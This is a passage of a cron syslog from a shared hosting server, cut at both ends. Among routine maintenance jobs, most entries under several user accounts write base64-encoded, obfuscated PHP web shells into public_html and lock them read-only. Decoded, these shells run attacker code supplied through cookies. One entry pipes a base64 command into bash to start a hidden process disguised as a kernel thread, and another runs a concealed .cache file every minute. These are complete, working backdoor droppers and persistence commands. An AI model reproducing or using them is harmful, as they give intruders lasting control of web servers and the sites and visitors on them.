AgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:00:01 medusa CROND[1775]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  2 00:00:01 medusa CROND[1781]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 00:00:01 medusa CROND[1782]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:00:01 medusa CROND[1786]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:00:01 medusa CROND[1788]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  2 00:00:01 medusa CROND[1790]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 00:00:01 medusa CROND[1792]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 00:00:01 medusa CROND[1780]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 00:00:01 medusa CROND[1778]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 00:00:01 medusa CROND[1779]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 00:00:01 medusa CROND[1773]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 00:00:01 medusa CROND[1803]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:00:01 medusa CROND[1772]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 00:00:01 medusa CROND[1808]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Mar  2 00:00:01 medusa CROND[1811]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:00:01 medusa CROND[1818]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 00:00:01 medusa CROND[1819]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:00:01 medusa CROND[1820]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:00:01 medusa CROND[1824]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 00:00:01 medusa CROND[1813]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_clean_hosting_packages.cronlock /usr/share/cloudlinux/cloudlinux_clean_hosting_packages.py &> /dev/null)
Mar  2 00:00:01 medusa CROND[1785]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 00:00:01 medusa CROND[1825]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 00:00:01 medusa CROND[1817]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 00:00:01 medusa CROND[1821]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 00:00:01 medusa CROND[1826]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  2 00:01:01 medusa CROND[8735]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:01:01 medusa CROND[8826]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 00:01:01 medusa CROND[8829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:01:01 medusa CROND[8831]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 00:01:01 medusa CROND[8833]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:01:01 medusa CROND[8834]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:01:01 medusa CROND[8832]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:01:01 medusa CROND[8838]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:01:01 medusa CROND[8843]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:01:01 medusa CROND[8845]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:01:01 medusa CROND[8840]: (root) CMD (run-parts /etc/cron.hourly)
Mar  2 00:01:01 medusa CROND[8846]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:01:01 medusa CROND[8847]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:01:01 medusa CROND[8853]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:01:01 medusa run-parts(/etc/cron.hourly)[8840]: starting 0anacron
Mar  2 00:01:02 medusa anacron[9134]: Anacron started on 2026-03-02
Mar  2 00:01:02 medusa run-parts(/etc/cron.hourly)[9136]: finished 0anacron
Mar  2 00:01:02 medusa anacron[9134]: Normal exit (0 jobs run)
Mar  2 00:02:01 medusa CROND[15805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:02:01 medusa CROND[15806]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:02:01 medusa CROND[15807]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:02:01 medusa CROND[15808]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:02:01 medusa CROND[15809]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 00:02:01 medusa CROND[15810]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:02:01 medusa CROND[15812]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 00:02:01 medusa CROND[15813]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9